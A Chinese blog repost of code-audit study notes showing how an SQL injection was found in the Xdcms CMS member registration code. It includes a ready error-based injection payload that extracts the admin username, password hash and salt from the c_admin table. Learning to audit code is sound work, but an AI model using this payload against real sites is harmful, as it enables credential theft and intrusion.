欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP代码审计 17 实战 Xdcms 漏洞挖掘 SQL 注入

程序员文章站 2022-04-30 10:23:40
...

本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程

PHP 代码审计博客目录

1. 简介

  1. 思路

    查看网站后台管理页面的源码,查看网站使用了那些过滤函数(通常会有一些自定义的过滤函数可供调用)
    通常情况下 GET、_POST 都是用了过滤函数之后才会和数据库进行连接,如果发现未使用过滤函数,那么说明存在漏洞。

  2. 在页面 xdcms\system\modules\member\index.php 中

    function register_save() 中的 GET、_POST 未使用过滤函数。

    另外,在 77 行中定义了错误的提示处理,但未定义错误的退出行为。

    $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
    $query=$this->mysql->query($field_sql);
    

    通过查找 query() 函数,发现,仅仅是报错,说明如果存在注入操作也不会中断运行

  3. 注入 exp

     where userid=8 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
  4. 在注册会员页面抓包

    PHP代码审计 17 实战 Xdcms 漏洞挖掘 SQL 注入

    PHP代码审计 17 实战 Xdcms 漏洞挖掘 SQL 注入